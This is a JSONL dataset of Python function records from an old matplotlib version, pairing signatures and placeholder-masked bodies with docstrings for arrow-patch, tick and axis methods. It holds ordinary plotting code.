{"signature": "def __init__(self, posA=None, posB=None,<EOL>path=None,<EOL>arrowstyle=\"<STR_LIT>\",<EOL>arrow_transmuter=None,<EOL>connectionstyle=\"<STR_LIT>\",<EOL>connector=None,<EOL>patchA=None,<EOL>patchB=None,<EOL>shrinkA=<NUM_LIT>,<EOL>shrinkB=<NUM_LIT>,<EOL>mutation_scale=<NUM_LIT:1.>,<EOL>mutation_aspect=None,<EOL>**kwargs):", "body": "if posA is not None and posB is not None and path is None:<EOL><INDENT>self._posA_posB = [posA, posB]<EOL>if connectionstyle is None:<EOL><INDENT>connectionstyle = \"<STR_LIT>\"<EOL><DEDENT>self.set_connectionstyle(connectionstyle)<EOL><DEDENT>elif posA is None and posB is None and path is not None:<EOL><INDENT>self._posA_posB = None<EOL>self._connetors = None<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.patchA = patchA<EOL>self.patchB = patchB<EOL>self.shrinkA = shrinkA<EOL>self.shrinkB = shrinkB<EOL>Patch.__init__(self, **kwargs)<EOL>self._path_original = path<EOL>self.set_arrowstyle(arrowstyle)<EOL>self._mutation_scale=mutation_scale<EOL>self._mutation_aspect=mutation_aspect<EOL>", "docstring": "If *posA* and *posB* is given, a path connecting two point are\ncreated according to the connectionstyle. The path will be\nclipped with *patchA* and *patchB* and further shirnked by\n*shrinkA* and *shrinkB*. An arrow is drawn along this\nresulting path using the *arrowstyle* parameter. If *path*\nprovided, an arrow is drawn along this path and *patchA*,\n*patchB*, *shrinkA*, and *shrinkB* are ignored.\n\nThe *connectionstyle* describes how *posA* and *posB* are\nconnected. It can be an instance of the ConnectionStyle class\n(matplotlib.patches.ConnectionStlye) or a string of the\nconnectionstyle name, with optional comma-separated\nattributes.  The following connection styles are available.\n\n%(AvailableConnectorstyles)s\n\n\nThe *arrowstyle* describes how the fancy arrow will be\ndrawn. It can be string of the available arrowstyle names,\nwith optional comma-separated attributes, or one of the\nArrowStyle instance. The optional attributes are meant to be\nscaled with the *mutation_scale*. The following arrow styles are\navailable.\n\n%(AvailableArrowstyles)s\n\n*mutation_scale* : a value with which attributes of arrowstyle\n    (e.g., head_length) will be scaled. default=1.\n\n*mutation_aspect* : The height of the rectangle will be\n    squeezed by this value before the mutation and the mutated\n    box will be stretched by the inverse of it. default=None.\n\nValid kwargs are:\n%(Patch)s", "id": "f17197:c19:m1"}
{"signature": "def set_positions(self, posA, posB):", "body": "if posA is not None: self._posA_posB[<NUM_LIT:0>] = posA<EOL>if posB is not None: self._posA_posB[<NUM_LIT:1>] = posB<EOL>", "docstring": "set the begin end end positions of the connecting\n        path. Use current vlaue if None.", "id": "f17197:c19:m2"}
{"signature": "def set_patchA(self, patchA):", "body": "self.patchA = patchA<EOL>", "docstring": "set the begin patch.", "id": "f17197:c19:m3"}
{"signature": "def set_patchB(self, patchB):", "body": "self.patchB = patchB<EOL>", "docstring": "set the begin patch", "id": "f17197:c19:m4"}
{"signature": "def set_connectionstyle(self, connectionstyle, **kw):", "body": "if connectionstyle==None:<EOL><INDENT>return ConnectionStyle.pprint_styles()<EOL><DEDENT>if isinstance(connectionstyle, ConnectionStyle._Base):<EOL><INDENT>self._connector = connectionstyle<EOL><DEDENT>elif callable(connectionstyle):<EOL><INDENT>self._connector = connectionstyle<EOL><DEDENT>else:<EOL><INDENT>self._connector = ConnectionStyle(connectionstyle, **kw)<EOL><DEDENT>", "docstring": "Set the connection style.\n\n*connectionstyle* can be a string with connectionstyle name with optional\n comma-separated attributes. Alternatively, the attrs can\n be probided as keywords.\n\n set_connectionstyle(\"arc,angleA=0,armA=30,rad=10\")\n set_connectionstyle(\"arc\", angleA=0,armA=30,rad=10)\n\nOld attrs simply are forgotten.\n\nWithout argument (or with connectionstyle=None), return\navailable styles as a list of strings.", "id": "f17197:c19:m5"}
{"signature": "def get_connectionstyle(self):", "body": "return self._connector<EOL>", "docstring": "Return the ConnectionStyle instance", "id": "f17197:c19:m6"}
{"signature": "def set_arrowstyle(self, arrowstyle=None, **kw):", "body": "if arrowstyle==None:<EOL><INDENT>return ArrowStyle.pprint_styles()<EOL><DEDENT>if isinstance(arrowstyle, ConnectionStyle._Base):<EOL><INDENT>self._arrow_transmuter = arrowstyle<EOL><DEDENT>else:<EOL><INDENT>self._arrow_transmuter = ArrowStyle(arrowstyle, **kw)<EOL><DEDENT>", "docstring": "Set the arrow style.\n\n*arrowstyle* can be a string with arrowstyle name with optional\n comma-separated attributes. Alternatively, the attrs can\n be provided as keywords.\n\n set_arrowstyle(\"Fancy,head_length=0.2\")\n set_arrowstyle(\"fancy\", head_length=0.2)\n\nOld attrs simply are forgotten.\n\nWithout argument (or with arrowstyle=None), return\navailable box styles as a list of strings.", "id": "f17197:c19:m7"}
{"signature": "def get_arrowstyle(self):", "body": "return self._arrow_transmuter<EOL>", "docstring": "Return the arrowstyle object", "id": "f17197:c19:m8"}
{"signature": "def set_mutation_scale(self, scale):", "body": "self._mutation_scale=scale<EOL>", "docstring": "Set the mutation scale.\n\nACCEPTS: float", "id": "f17197:c19:m9"}
{"signature": "def get_mutation_scale(self):", "body": "return self._mutation_scale<EOL>", "docstring": "Return the mutation scale.", "id": "f17197:c19:m10"}
{"signature": "def set_mutation_aspect(self, aspect):", "body": "self._mutation_aspect=aspect<EOL>", "docstring": "Set the aspect ratio of the bbox mutation.\n\nACCEPTS: float", "id": "f17197:c19:m11"}
{"signature": "def get_mutation_aspect(self):", "body": "return self._mutation_aspect<EOL>", "docstring": "Return the aspect ratio of the bbox mutation.", "id": "f17197:c19:m12"}
{"signature": "def get_path(self):", "body": "_path = self.get_path_in_displaycoord()<EOL>return self.get_transform().inverted().transform_path(_path)<EOL>", "docstring": "return the path of the arrow in the data coordinate. Use\nget_path_in_displaycoord() medthod to retrieve the arrow path\nin the disaply coord.", "id": "f17197:c19:m13"}
{"signature": "def get_path_in_displaycoord(self):", "body": "if self._posA_posB is not None:<EOL><INDENT>posA = self.get_transform().transform_point(self._posA_posB[<NUM_LIT:0>])<EOL>posB = self.get_transform().transform_point(self._posA_posB[<NUM_LIT:1>])<EOL>_path = self.get_connectionstyle()(posA, posB,<EOL>patchA=self.patchA,<EOL>patchB=self.patchB,<EOL>shrinkA=self.shrinkA,<EOL>shrinkB=self.shrinkB<EOL>)<EOL><DEDENT>else:<EOL><INDENT>_path = self.get_transform().transform_path(self._path_original)<EOL><DEDENT>_path, closed = self.get_arrowstyle()(_path,<EOL>self.get_mutation_scale(),<EOL>self.get_linewidth(),<EOL>self.get_mutation_aspect()<EOL>)<EOL>if not closed:<EOL><INDENT>self.fill = False<EOL><DEDENT>return _path<EOL>", "docstring": "Return the mutated path of the arrow in the display coord", "id": "f17197:c19:m14"}
{"signature": "def __init__(self, axes, loc, label,<EOL>size   = None,  <EOL>gridOn = None, <EOL>tick1On = True,<EOL>tick2On = True,<EOL>label1On = True,<EOL>label2On = False,<EOL>major = True,<EOL>):", "body": "artist.Artist.__init__(self)<EOL>if gridOn is None: gridOn = rcParams['<STR_LIT>']<EOL>self.set_figure(axes.figure)<EOL>self.axes = axes<EOL>name = self.__name__.lower()<EOL>if size is None:<EOL><INDENT>if major:<EOL><INDENT>size = rcParams['<STR_LIT>'%name]<EOL>pad = rcParams['<STR_LIT>'%name]<EOL><DEDENT>else:<EOL><INDENT>size = rcParams['<STR_LIT>'%name]<EOL>pad = rcParams['<STR_LIT>'%name]<EOL><DEDENT><DEDENT>self._tickdir = rcParams['<STR_LIT>'%name]<EOL>if self._tickdir == '<STR_LIT>':<EOL><INDENT>self._xtickmarkers = (mlines.TICKUP, mlines.TICKDOWN)<EOL>self._ytickmarkers = (mlines.TICKRIGHT, mlines.TICKLEFT)<EOL>self._pad = pad<EOL><DEDENT>else:<EOL><INDENT>self._xtickmarkers = (mlines.TICKDOWN, mlines.TICKUP)<EOL>self._ytickmarkers = (mlines.TICKLEFT, mlines.TICKRIGHT)<EOL>self._pad = pad + size<EOL><DEDENT>self._loc = loc<EOL>self._size = size<EOL>self.tick1line = self._get_tick1line()<EOL>self.tick2line = self._get_tick2line()<EOL>self.gridline = self._get_gridline()<EOL>self.label1 = self._get_text1()<EOL>self.label = self.label1  <EOL>self.label2 = self._get_text2()<EOL>self.gridOn = gridOn<EOL>self.tick1On = tick1On<EOL>self.tick2On = tick2On<EOL>self.label1On = label1On<EOL>self.label2On = label2On<EOL>self.update_position(loc)<EOL>", "docstring": "bbox is the Bound2D bounding box in display coords of the Axes\nloc is the tick location in data coords\nsize is the tick size in relative, axes coords", "id": "f17198:c0:m0"}
{"signature": "def contains(self, mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>return False,{}<EOL>", "docstring": "Test whether the mouse event occured in the Tick marks.\n\nThis function always returns false.  It is more useful to test if the\naxis as a whole contains the mouse rather than the set of tick marks.", "id": "f17198:c0:m4"}
{"signature": "def set_pad(self, val):", "body": "self._pad = val<EOL>", "docstring": "Set the tick label pad in points\n\nACCEPTS: float", "id": "f17198:c0:m5"}
{"signature": "def get_pad(self):", "body": "return self._pad<EOL>", "docstring": "Get the value of the tick label pad in points", "id": "f17198:c0:m6"}
{"signature": "def _get_text1(self):", "body": "pass<EOL>", "docstring": "Get the default Text 1 instance", "id": "f17198:c0:m7"}
{"signature": "def _get_text2(self):", "body": "pass<EOL>", "docstring": "Get the default Text 2 instance", "id": "f17198:c0:m8"}
{"signature": "def _get_tick1line(self):", "body": "pass<EOL>", "docstring": "Get the default line2D instance for tick1", "id": "f17198:c0:m9"}
{"signature": "def _get_tick2line(self):", "body": "pass<EOL>", "docstring": "Get the default line2D instance for tick2", "id": "f17198:c0:m10"}
{"signature": "def _get_gridline(self):", "body": "pass<EOL>", "docstring": "Get the default grid Line2d instance for this tick", "id": "f17198:c0:m11"}
{"signature": "def get_loc(self):", "body": "return self._loc<EOL>", "docstring": "Return the tick location (data coords) as a scalar", "id": "f17198:c0:m12"}
{"signature": "def set_label1(self, s):", "body": "self.label1.set_text(s)<EOL>", "docstring": "Set the text of ticklabel\n\nACCEPTS: str", "id": "f17198:c0:m14"}
{"signature": "def set_label2(self, s):", "body": "self.label2.set_text(s)<EOL>", "docstring": "Set the text of ticklabel2\n\nACCEPTS: str", "id": "f17198:c0:m15"}
{"signature": "def get_view_interval(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "return the view Interval instance for the axis this tick is ticking", "id": "f17198:c0:m17"}
{"signature": "def _get_text1(self):", "body": "<EOL>trans, vert, horiz = self.axes.get_xaxis_text1_transform(self._pad)<EOL>size = rcParams['<STR_LIT>']<EOL>t = mtext.Text(<EOL>x=<NUM_LIT:0>, y=<NUM_LIT:0>,<EOL>fontproperties=font_manager.FontProperties(size=size),<EOL>color=rcParams['<STR_LIT>'],<EOL>verticalalignment=vert,<EOL>horizontalalignment=horiz,<EOL>)<EOL>t.set_transform(trans)<EOL>self._set_artist_props(t)<EOL>return t<EOL>", "docstring": "Get the default Text instance", "id": "f17198:c1:m0"}
{"signature": "def _get_text2(self):", "body": "<EOL>trans, vert, horiz = self.axes.get_xaxis_text2_transform(self._pad)<EOL>t = mtext.Text(<EOL>x=<NUM_LIT:0>, y=<NUM_LIT:1>,<EOL>fontproperties=font_manager.FontProperties(size=rcParams['<STR_LIT>']),<EOL>color=rcParams['<STR_LIT>'],<EOL>verticalalignment=vert,<EOL>horizontalalignment=horiz,<EOL>)<EOL>t.set_transform(trans)<EOL>self._set_artist_props(t)<EOL>return t<EOL>", "docstring": "Get the default Text 2 instance", "id": "f17198:c1:m1"}
{"signature": "def _get_tick1line(self):", "body": "<EOL>l = mlines.Line2D(xdata=(<NUM_LIT:0>,), ydata=(<NUM_LIT:0>,),<EOL>color='<STR_LIT:k>',<EOL>linestyle = '<STR_LIT:None>',<EOL>marker = self._xtickmarkers[<NUM_LIT:0>],<EOL>markersize=self._size,<EOL>)<EOL>l.set_transform(self.axes.get_xaxis_transform())<EOL>self._set_artist_props(l)<EOL>return l<EOL>", "docstring": "Get the default line2D instance", "id": "f17198:c1:m2"}
{"signature": "def _get_tick2line(self):", "body": "<EOL>l = mlines.Line2D( xdata=(<NUM_LIT:0>,), ydata=(<NUM_LIT:1>,),<EOL>color='<STR_LIT:k>',<EOL>linestyle = '<STR_LIT:None>',<EOL>marker = self._xtickmarkers[<NUM_LIT:1>],<EOL>markersize=self._size,<EOL>)<EOL>l.set_transform(self.axes.get_xaxis_transform())<EOL>self._set_artist_props(l)<EOL>return l<EOL>", "docstring": "Get the default line2D instance", "id": "f17198:c1:m3"}
{"signature": "def _get_gridline(self):", "body": "<EOL>l = mlines.Line2D(xdata=(<NUM_LIT:0.0>, <NUM_LIT:0.0>), ydata=(<NUM_LIT:0>, <NUM_LIT:1.0>),<EOL>color=rcParams['<STR_LIT>'],<EOL>linestyle=rcParams['<STR_LIT>'],<EOL>linewidth=rcParams['<STR_LIT>'],<EOL>)<EOL>l.set_transform(self.axes.get_xaxis_transform())<EOL>self._set_artist_props(l)<EOL>return l<EOL>", "docstring": "Get the default line2D instance", "id": "f17198:c1:m4"}
{"signature": "def update_position(self, loc):", "body": "x = loc<EOL>nonlinear = (hasattr(self.axes, '<STR_LIT>') and<EOL>self.axes.yaxis.get_scale() != '<STR_LIT>' or<EOL>hasattr(self.axes, '<STR_LIT>') and<EOL>self.axes.xaxis.get_scale() != '<STR_LIT>')<EOL>if self.tick1On:<EOL><INDENT>self.tick1line.set_xdata((x,))<EOL><DEDENT>if self.tick2On:<EOL><INDENT>self.tick2line.set_xdata((x,))<EOL><DEDENT>if self.gridOn:<EOL><INDENT>self.gridline.set_xdata((x,))<EOL><DEDENT>if self.label1On:<EOL><INDENT>self.label1.set_x(x)<EOL><DEDENT>if self.label2On:<EOL><INDENT>self.label2.set_x(x)<EOL><DEDENT>if nonlinear:<EOL><INDENT>self.tick1line._invalid = True<EOL>self.tick2line._invalid = True<EOL>self.gridline._invalid = True<EOL><DEDENT>self._loc = loc<EOL>", "docstring": "Set the location of tick in data coords with scalar *loc*", "id": "f17198:c1:m5"}
{"signature": "def get_view_interval(self):", "body": "return self.axes.viewLim.intervalx<EOL>", "docstring": "return the Interval instance for this axis view limits", "id": "f17198:c1:m6"}
{"signature": "def get_data_interval(self):", "body": "return self.axes.dataLim.intervalx<EOL>", "docstring": "return the Interval instance for this axis data limits", "id": "f17198:c1:m9"}
{"signature": "def _get_text1(self):", "body": "<EOL>trans, vert, horiz = self.axes.get_yaxis_text1_transform(self._pad)<EOL>t = mtext.Text(<EOL>x=<NUM_LIT:0>, y=<NUM_LIT:0>,<EOL>fontproperties=font_manager.FontProperties(size=rcParams['<STR_LIT>']),<EOL>color=rcParams['<STR_LIT>'],<EOL>verticalalignment=vert,<EOL>horizontalalignment=horiz,<EOL>)<EOL>t.set_transform(trans)<EOL>self._set_artist_props(t)<EOL>return t<EOL>", "docstring": "Get the default Text instance", "id": "f17198:c2:m0"}
{"signature": "def _get_text2(self):", "body": "<EOL>trans, vert, horiz = self.axes.get_yaxis_text2_transform(self._pad)<EOL>t = mtext.Text(<EOL>x=<NUM_LIT:1>, y=<NUM_LIT:0>,<EOL>fontproperties=font_manager.FontProperties(size=rcParams['<STR_LIT>']),<EOL>color=rcParams['<STR_LIT>'],<EOL>verticalalignment=vert,<EOL>horizontalalignment=horiz,<EOL>)<EOL>t.set_transform(trans)<EOL>self._set_artist_props(t)<EOL>return t<EOL>", "docstring": "Get the default Text instance", "id": "f17198:c2:m1"}
{"signature": "def _get_tick1line(self):", "body": "<EOL>l = mlines.Line2D( (<NUM_LIT:0>,), (<NUM_LIT:0>,), color='<STR_LIT:k>',<EOL>marker = self._ytickmarkers[<NUM_LIT:0>],<EOL>linestyle = '<STR_LIT:None>',<EOL>markersize=self._size,<EOL>)<EOL>l.set_transform(self.axes.get_yaxis_transform())<EOL>self._set_artist_props(l)<EOL>return l<EOL>", "docstring": "Get the default line2D instance", "id": "f17198:c2:m2"}
{"signature": "def _get_tick2line(self):", "body": "<EOL>l = mlines.Line2D( (<NUM_LIT:1>,), (<NUM_LIT:0>,), color='<STR_LIT:k>',<EOL>marker = self._ytickmarkers[<NUM_LIT:1>],<EOL>linestyle = '<STR_LIT:None>',<EOL>markersize=self._size,<EOL>)<EOL>l.set_transform(self.axes.get_yaxis_transform())<EOL>self._set_artist_props(l)<EOL>return l<EOL>", "docstring": "Get the default line2D instance", "id": "f17198:c2:m3"}
{"signature": "def _get_gridline(self):", "body": "<EOL>l = mlines.Line2D( xdata=(<NUM_LIT:0>,<NUM_LIT:1>), ydata=(<NUM_LIT:0>, <NUM_LIT:0>),<EOL>color=rcParams['<STR_LIT>'],<EOL>linestyle=rcParams['<STR_LIT>'],<EOL>linewidth=rcParams['<STR_LIT>'],<EOL>)<EOL>l.set_transform(self.axes.get_yaxis_transform())<EOL>self._set_artist_props(l)<EOL>return l<EOL>", "docstring": "Get the default line2D instance", "id": "f17198:c2:m4"}
{"signature": "def update_position(self, loc):", "body": "y = loc<EOL>nonlinear = (hasattr(self.axes, '<STR_LIT>') and<EOL>self.axes.yaxis.get_scale() != '<STR_LIT>' or<EOL>hasattr(self.axes, '<STR_LIT>') and<EOL>self.axes.xaxis.get_scale() != '<STR_LIT>')<EOL>if self.tick1On:<EOL><INDENT>self.tick1line.set_ydata((y,))<EOL><DEDENT>if self.tick2On:<EOL><INDENT>self.tick2line.set_ydata((y,))<EOL><DEDENT>if self.gridOn:<EOL><INDENT>self.gridline.set_ydata((y, ))<EOL><DEDENT>if self.label1On:<EOL><INDENT>self.label1.set_y( y )<EOL><DEDENT>if self.label2On:<EOL><INDENT>self.label2.set_y( y )<EOL><DEDENT>if nonlinear:<EOL><INDENT>self.tick1line._invalid = True<EOL>self.tick2line._invalid = True<EOL>self.gridline._invalid = True<EOL><DEDENT>self._loc = loc<EOL>", "docstring": "Set the location of tick in data coords with scalar loc", "id": "f17198:c2:m5"}
{"signature": "def get_view_interval(self):", "body": "return self.axes.viewLim.intervaly<EOL>", "docstring": "return the Interval instance for this axis view limits", "id": "f17198:c2:m6"}
{"signature": "def get_data_interval(self):", "body": "return self.axes.dataLim.intervaly<EOL>", "docstring": "return the Interval instance for this axis data limits", "id": "f17198:c2:m9"}
{"signature": "def __init__(self, axes, pickradius=<NUM_LIT:15>):", "body": "artist.Artist.__init__(self)<EOL>self.set_figure(axes.figure)<EOL>self.axes = axes<EOL>self.major = Ticker()<EOL>self.minor = Ticker()<EOL>self.callbacks = cbook.CallbackRegistry(('<STR_LIT>', '<STR_LIT>'))<EOL>self._autolabelpos = True<EOL>self.label = self._get_label()<EOL>self.offsetText = self._get_offset_text()<EOL>self.majorTicks = []<EOL>self.minorTicks = []<EOL>self.pickradius = pickradius<EOL>self.cla()<EOL>self.set_scale('<STR_LIT>')<EOL>", "docstring": "Init the axis with the parent Axes instance", "id": "f17198:c4:m1"}
{"signature": "def set_label_coords(self, x, y, transform=None):", "body": "self._autolabelpos = False<EOL>if transform is None:<EOL><INDENT>transform = self.axes.transAxes<EOL><DEDENT>self.label.set_transform(transform)<EOL>self.label.set_position((x, y))<EOL>", "docstring": "Set the coordinates of the label.  By default, the x\ncoordinate of the y label is determined by the tick label\nbounding boxes, but this can lead to poor alignment of\nmultiple ylabels if there are multiple axes.  Ditto for the y\ncoodinate of the x label.\n\nYou can also specify the coordinate system of the label with\nthe transform.  If None, the default coordinate system will be\nthe axes coordinate system (0,0) is (left,bottom), (0.5, 0.5)\nis middle, etc", "id": "f17198:c4:m2"}
{"signature": "def cla(self):", "body": "self.set_major_locator(mticker.AutoLocator())<EOL>self.set_major_formatter(mticker.ScalarFormatter())<EOL>self.set_minor_locator(mticker.NullLocator())<EOL>self.set_minor_formatter(mticker.NullFormatter())<EOL>self.callbacks = cbook.CallbackRegistry(('<STR_LIT>', '<STR_LIT>'))<EOL>self._gridOnMajor = rcParams['<STR_LIT>']<EOL>self._gridOnMinor = False<EOL>self.label.set_text('<STR_LIT>')<EOL>self._set_artist_props(self.label)<EOL>cbook.popall(self.majorTicks)<EOL>cbook.popall(self.minorTicks)<EOL>self.majorTicks.extend([self._get_tick(major=True)])<EOL>self.minorTicks.extend([self._get_tick(major=False)])<EOL>self._lastNumMajorTicks = <NUM_LIT:1><EOL>self._lastNumMinorTicks = <NUM_LIT:1><EOL>self.converter = None<EOL>self.units = None<EOL>self.set_units(None)<EOL>", "docstring": "clear the current axis", "id": "f17198:c4:m8"}
{"signature": "def get_view_interval(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "return the Interval instance for this axis view limits", "id": "f17198:c4:m10"}
{"signature": "def get_data_interval(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "return the Interval instance for this axis data limits", "id": "f17198:c4:m12"}
{"signature": "def set_data_interval(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Set the axis data limits", "id": "f17198:c4:m13"}
{"signature": "def iter_ticks(self):", "body": "majorLocs = self.major.locator()<EOL>majorTicks = self.get_major_ticks(len(majorLocs))<EOL>self.major.formatter.set_locs(majorLocs)<EOL>majorLabels = [self.major.formatter(val, i) for i, val in enumerate(majorLocs)]<EOL>minorLocs = self.minor.locator()<EOL>minorTicks = self.get_minor_ticks(len(minorLocs))<EOL>self.minor.formatter.set_locs(minorLocs)<EOL>minorLabels = [self.minor.formatter(val, i) for i, val in enumerate(minorLocs)]<EOL>major_minor = [<EOL>(majorTicks, majorLocs, majorLabels),<EOL>(minorTicks, minorLocs, minorLabels)]<EOL>for group in major_minor:<EOL><INDENT>for tick in zip(*group):<EOL><INDENT>yield tick<EOL><DEDENT><DEDENT>", "docstring": "Iterate through all of the major and minor ticks.", "id": "f17198:c4:m15"}
{"signature": "def get_ticklabel_extents(self, renderer):", "body": "ticklabelBoxes = []<EOL>ticklabelBoxes2 = []<EOL>interval = self.get_view_interval()<EOL>for tick, loc, label in self.iter_ticks():<EOL><INDENT>if tick is None: continue<EOL>if not mtransforms.interval_contains(interval, loc): continue<EOL>tick.update_position(loc)<EOL>tick.set_label1(label)<EOL>tick.set_label2(label)<EOL>if tick.label1On and tick.label1.get_visible():<EOL><INDENT>extent = tick.label1.get_window_extent(renderer)<EOL>ticklabelBoxes.append(extent)<EOL><DEDENT>if tick.label2On and tick.label2.get_visible():<EOL><INDENT>extent = tick.label2.get_window_extent(renderer)<EOL>ticklabelBoxes2.append(extent)<EOL><DEDENT><DEDENT>if len(ticklabelBoxes):<EOL><INDENT>bbox = mtransforms.Bbox.union(ticklabelBoxes)<EOL><DEDENT>else:<EOL><INDENT>bbox = mtransforms.Bbox.from_extents(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>if len(ticklabelBoxes2):<EOL><INDENT>bbox2 = mtransforms.Bbox.union(ticklabelBoxes2)<EOL><DEDENT>else:<EOL><INDENT>bbox2 = mtransforms.Bbox.from_extents(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>)<EOL><DEDENT>return bbox, bbox2<EOL>", "docstring": "Get the extents of the tick labels on either side\nof the axes.", "id": "f17198:c4:m16"}
{"signature": "def draw(self, renderer, *args, **kwargs):", "body": "ticklabelBoxes = []<EOL>ticklabelBoxes2 = []<EOL>if not self.get_visible(): return<EOL>renderer.open_group(__name__)<EOL>interval = self.get_view_interval()<EOL>for tick, loc, label in self.iter_ticks():<EOL><INDENT>if tick is None: continue<EOL>if not mtransforms.interval_contains(interval, loc): continue<EOL>tick.update_position(loc)<EOL>tick.set_label1(label)<EOL>tick.set_label2(label)<EOL>tick.draw(renderer)<EOL>if tick.label1On and tick.label1.get_visible():<EOL><INDENT>extent = tick.label1.get_window_extent(renderer)<EOL>ticklabelBoxes.append(extent)<EOL><DEDENT>if tick.label2On and tick.label2.get_visible():<EOL><INDENT>extent = tick.label2.get_window_extent(renderer)<EOL>ticklabelBoxes2.append(extent)<EOL><DEDENT><DEDENT>self._update_label_position(ticklabelBoxes, ticklabelBoxes2)<EOL>self.label.draw(renderer)<EOL>self._update_offset_text_position(ticklabelBoxes, ticklabelBoxes2)<EOL>self.offsetText.set_text( self.major.formatter.get_offset() )<EOL>self.offsetText.draw(renderer)<EOL>if <NUM_LIT:0>: <EOL><INDENT>for tick in majorTicks:<EOL><INDENT>label = tick.label1<EOL>mpatches.bbox_artist(label, renderer)<EOL><DEDENT>mpatches.bbox_artist(self.label, renderer)<EOL><DEDENT>renderer.close_group(__name__)<EOL>", "docstring": "Draw the axis lines, grid lines, tick lines and labels", "id": "f17198:c4:m17"}
{"signature": "def get_gridlines(self):", "body": "ticks = self.get_major_ticks()<EOL>return cbook.silent_list('<STR_LIT>', [tick.gridline for tick in ticks])<EOL>", "docstring": "Return the grid lines as a list of Line2D instance", "id": "f17198:c4:m20"}
{"signature": "def get_label(self):", "body": "return self.label<EOL>", "docstring": "Return the axis label as a Text instance", "id": "f17198:c4:m21"}
{"signature": "def get_offset_text(self):", "body": "return self.offsetText<EOL>", "docstring": "Return the axis offsetText as a Text instance", "id": "f17198:c4:m22"}
{"signature": "def get_pickradius(self):", "body": "return self.pickradius<EOL>", "docstring": "Return the depth of the axis used by the picker", "id": "f17198:c4:m23"}
{"signature": "def get_majorticklabels(self):", "body": "ticks = self.get_major_ticks()<EOL>labels1 = [tick.label1 for tick in ticks if tick.label1On]<EOL>labels2 = [tick.label2 for tick in ticks if tick.label2On]<EOL>return cbook.silent_list('<STR_LIT>', labels1+labels2)<EOL>", "docstring": "Return a list of Text instances for the major ticklabels", "id": "f17198:c4:m24"}
{"signature": "def get_minorticklabels(self):", "body": "ticks = self.get_minor_ticks()<EOL>labels1 = [tick.label1 for tick in ticks if tick.label1On]<EOL>labels2 = [tick.label2 for tick in ticks if tick.label2On]<EOL>return cbook.silent_list('<STR_LIT>', labels1+labels2)<EOL>", "docstring": "Return a list of Text instances for the minor ticklabels", "id": "f17198:c4:m25"}
{"signature": "def get_ticklabels(self, minor=False):", "body": "if minor:<EOL><INDENT>return self.get_minorticklabels()<EOL><DEDENT>return self.get_majorticklabels()<EOL>", "docstring": "Return a list of Text instances for ticklabels", "id": "f17198:c4:m26"}
{"signature": "def get_majorticklines(self):", "body": "lines = []<EOL>ticks = self.get_major_ticks()<EOL>for tick in ticks:<EOL><INDENT>lines.append(tick.tick1line)<EOL>lines.append(tick.tick2line)<EOL><DEDENT>return cbook.silent_list('<STR_LIT>', lines)<EOL>", "docstring": "Return the major tick lines as a list of Line2D instances", "id": "f17198:c4:m27"}
{"signature": "def get_minorticklines(self):", "body": "lines = []<EOL>ticks = self.get_minor_ticks()<EOL>for tick in ticks:<EOL><INDENT>lines.append(tick.tick1line)<EOL>lines.append(tick.tick2line)<EOL><DEDENT>return cbook.silent_list('<STR_LIT>', lines)<EOL>", "docstring": "Return the minor tick lines as a list of Line2D instances", "id": "f17198:c4:m28"}
{"signature": "def get_ticklines(self, minor=False):", "body": "if minor:<EOL><INDENT>return self.get_minorticklines()<EOL><DEDENT>return self.get_majorticklines()<EOL>", "docstring": "Return the tick lines as a list of Line2D instances", "id": "f17198:c4:m29"}
{"signature": "def get_majorticklocs(self):", "body": "return self.major.locator()<EOL>", "docstring": "Get the major tick locations in data coordinates as a numpy array", "id": "f17198:c4:m30"}
{"signature": "def get_minorticklocs(self):", "body": "return self.minor.locator()<EOL>", "docstring": "Get the minor tick locations in data coordinates as a numpy array", "id": "f17198:c4:m31"}
{"signature": "def get_ticklocs(self, minor=False):", "body": "if minor:<EOL><INDENT>return self.minor.locator()<EOL><DEDENT>return self.major.locator()<EOL>", "docstring": "Get the tick locations in data coordinates as a numpy array", "id": "f17198:c4:m32"}
{"signature": "def _get_tick(self, major):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "return the default tick intsance", "id": "f17198:c4:m33"}
{"signature": "def _copy_tick_props(self, src, dest):", "body": "if src is None or dest is None: return<EOL>dest.label1.update_from(src.label1)<EOL>dest.label2.update_from(src.label2)<EOL>dest.tick1line.update_from(src.tick1line)<EOL>dest.tick2line.update_from(src.tick2line)<EOL>dest.gridline.update_from(src.gridline)<EOL>dest.tick1On = src.tick1On<EOL>dest.tick2On = src.tick2On<EOL>dest.label1On = src.label1On<EOL>dest.label2On = src.label2On<EOL>", "docstring": "Copy the props from src tick to dest tick", "id": "f17198:c4:m34"}
{"signature": "def get_major_locator(self):", "body": "return self.major.locator<EOL>", "docstring": "Get the locator of the major ticker", "id": "f17198:c4:m35"}
{"signature": "def get_minor_locator(self):", "body": "return self.minor.locator<EOL>", "docstring": "Get the locator of the minor ticker", "id": "f17198:c4:m36"}
{"signature": "def get_major_formatter(self):", "body": "return self.major.formatter<EOL>", "docstring": "Get the formatter of the major ticker", "id": "f17198:c4:m37"}
{"signature": "def get_minor_formatter(self):", "body": "return self.minor.formatter<EOL>", "docstring": "Get the formatter of the minor ticker", "id": "f17198:c4:m38"}
